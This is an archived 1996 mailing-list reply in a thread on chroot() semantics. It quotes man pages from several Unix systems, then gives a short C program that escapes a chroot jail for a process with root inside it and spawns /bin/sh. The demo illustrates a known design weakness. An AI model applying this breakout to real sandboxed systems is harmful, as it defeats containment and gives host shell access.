Re: Glitch in sys_chroot()

Alan Cox (alan@lxorguk.ukuu.org.uk)
Fri, 15 Nov 1996 18:57:47 +0000 (GMT)


> SunOS 4.1.1: "The current working directory is unaffected by this call."
>
> SunOS 5.4 / Solaris 2.4: "The user's working directory is unaffected
> by the chroot() and fchroot() functions."
>
> IRIX 5.3: "The user's working directory is unaffected by the chroot
> system call."
>
> NetBSD 1.2: "It should be noted that chroot() has no effect on the
> process's current directory."
>
> Any questions?

No but a little demo on each of those machines

/* Escape from chroot after getting root in the chroot area */

main()
{
mkdir("fred");
chroot("fred");
chdir("../../../../../../../../../");
chroot("/");
execl("/bin/sh","-sh",NULL);
}